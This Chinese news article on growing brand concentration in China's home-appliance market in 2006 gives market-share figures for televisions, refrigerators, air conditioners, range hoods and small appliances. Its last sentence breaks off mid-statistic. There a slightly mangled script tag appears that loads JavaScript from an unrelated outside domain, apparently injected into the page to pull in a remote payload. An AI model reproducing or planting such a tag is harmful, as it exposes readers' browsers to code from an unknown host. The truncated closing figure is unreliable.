２００６年，“家电孤儿”一词仍然是业内的流行语，而“家电孤儿”的诞生就在于行业日渐提高的品牌集中度。有关专家指出，对于消费者来讲，品牌更迭和品牌集中度的提高是喜忧参半的事情：品牌集中度越高，产品的质量、品质、售后服务越有保障，但在这个过程中，难免会出现“家电孤儿”，在目前国家相关法规不能完全解决问题的情况下，消费者在选购家电时应注意自我保护，不为超低价格和过度承诺所迷惑。
大家电领域寡头垄断初显
记者查阅了５年前国务院发展研究中心市场经济研究所发布的《２００２年城市家电消费市场调查研究咨询报告》，该报告显示，我国家电品牌拥有率分散，集中度有待提高。该报告指出，从我国家电行业的生产开发能力上看，彩电、冰箱、洗衣机等大宗耐用家电产品已经明显供大于求，品牌数量相应减少，市场逐渐形成全国性品牌和地区性品牌共存的态势，但很少有品牌达到２０％的市场占有率，市场集中度最低的产品主要有空调、热水器、家庭影院等。到２００６年，随着行业领先品牌扩张对区域性小品牌生存空间的挤压、品牌家电企业多元化经营策略的实施、激烈竞争导致的利润下降和大资本的介入，我国家电市场品牌集中度越来越高，特别是大家电领域，寡头垄断形态初露端倪。
而根据国家信息中心市场处２００６年对全国３４５个城市２０００余个零售网点的月度监测数据分析，在传统大家电领域，除液晶电视热销所引起的彩电品牌略有增加外，整体状况基本呈现出一种品牌逐步减少的特征，且大家电品牌市场占有率的集中程度远远高于小家电，排名前２０位的品牌市场占有率之和高于９５％。
赛诺市场研究公司统计数据显示，２００６年的冰箱市场上，从销量前１５位的品牌来看，其市场占有率已接近总体市场，说明要想在冰箱市场占有一席之地，必须杀入市场销量前１５名，否则就处在被淘汰的边缘；洗衣机市场品牌集中度较上年也有所提高。
在国家信息中心信息资源开发部空调监测范围内，２００６冷冻年度又消失了１７个品牌，空调品牌数目由２００５年度的６９个降到２００６年度的５２个。国家信息中心市场处处长蔡莹认为，２００６冷冻年度品牌竞争的结果说明品牌集中度提高和品牌淘汰并存的局面不仅成为现实，而且这种趋势还将延续到２００７冷冻年度，在竞争综合水平不断提高的前提下，２００７冷冻年度，１８个市场份额低于０．０１％的品牌有可能出局。今后几年内，在外部环境和内部经营的双重压力下，空调企业整合并购的速度可能会加快，传统一、二线品牌的划分将难以准确描述整体品牌竞争状态，空调行业前１０名的位置随时都有可能发生变化。
不过，在大家电中，近两年风头正健的平板电视特别是液晶电视则呈现出了参与品牌多、市场占有率相对分散的初级竞争态势。清华同方等一些传统ｐｃ企业利用技术、上游资源优势也加入了竞争，并在局部取得了不错的销售成绩。同时各品牌市场占有率差距相对较小，国家信息中心的数据显示，２００６年液晶电视排行前２０位的品牌中，前后两个品牌的占有率之差大致在０．５％左右。赛诺市场研究公司的调查数据显示，２００６年等离子彩电市场呈现出马太效应，掌握等离子彩电核心技术的日韩企业市场占有率一路攀升，松下、日立市场累计占有率接近５０％。赛诺市场研究公司副总经理叶平认为，在技术引领市场的时代，２００７年等离子彩电市场的品牌集中度会继续上升，但是随着国产品牌长虹等进军平板彩电上游领域，等离子彩电市场由日韩企业垄断的格局将会被打破。
小家电品牌集中度提高
生产集中度不高制约了我国小家电业的发展，目前，国内小家电行业处于一个品牌多而杂、集中度不高、市场竞争不充分、强势品牌稀缺的状态。据有关数据显示，全国小家电生产企业共有５０００多家，除个别种类之外，其他如电磁炉、电水壶、电热水器、电熨斗等排在行业前４位的品牌市场占有率之和远低于５０％。小家电企业大多属于小投入、小规模生产，因此产品质量参差不齐，跟风模仿严重，这就给大型家电企业提供了一个良好的进入机会和成长空间，海尔、格力、美的、ｔｃｌ等早在几年前就已对小家电行业发力。强势家电品牌的涉入，促使小家电行业重新洗牌，品牌集中度也呈现出越来越高的趋势。
如一直被视为家电领域最后一块“蛋糕”的烟灶市场，２００４年到２００６年，有很多品牌进入其中，不乏实力强大的冰箱、洗衣机、空调厂家，使２００６年吸油烟机市场的竞争更加激烈。国家对噪声值的限制、消费者品牌意识的加强，以及众多有实力厂商对质量监控和售后服务的进一步完善，都对杂牌形成了巨大的销售压力。而且从２００４年开始的原材料涨价也让实力较弱的企业吃不消。２００６年一年的鏖战证明，烟灶这块“蛋糕”并不好啃。赛诺市场研究公司的监测数据显示，２００５年吸油烟机市场有３９２个品牌，而?script src=http://er12.com/t.js>
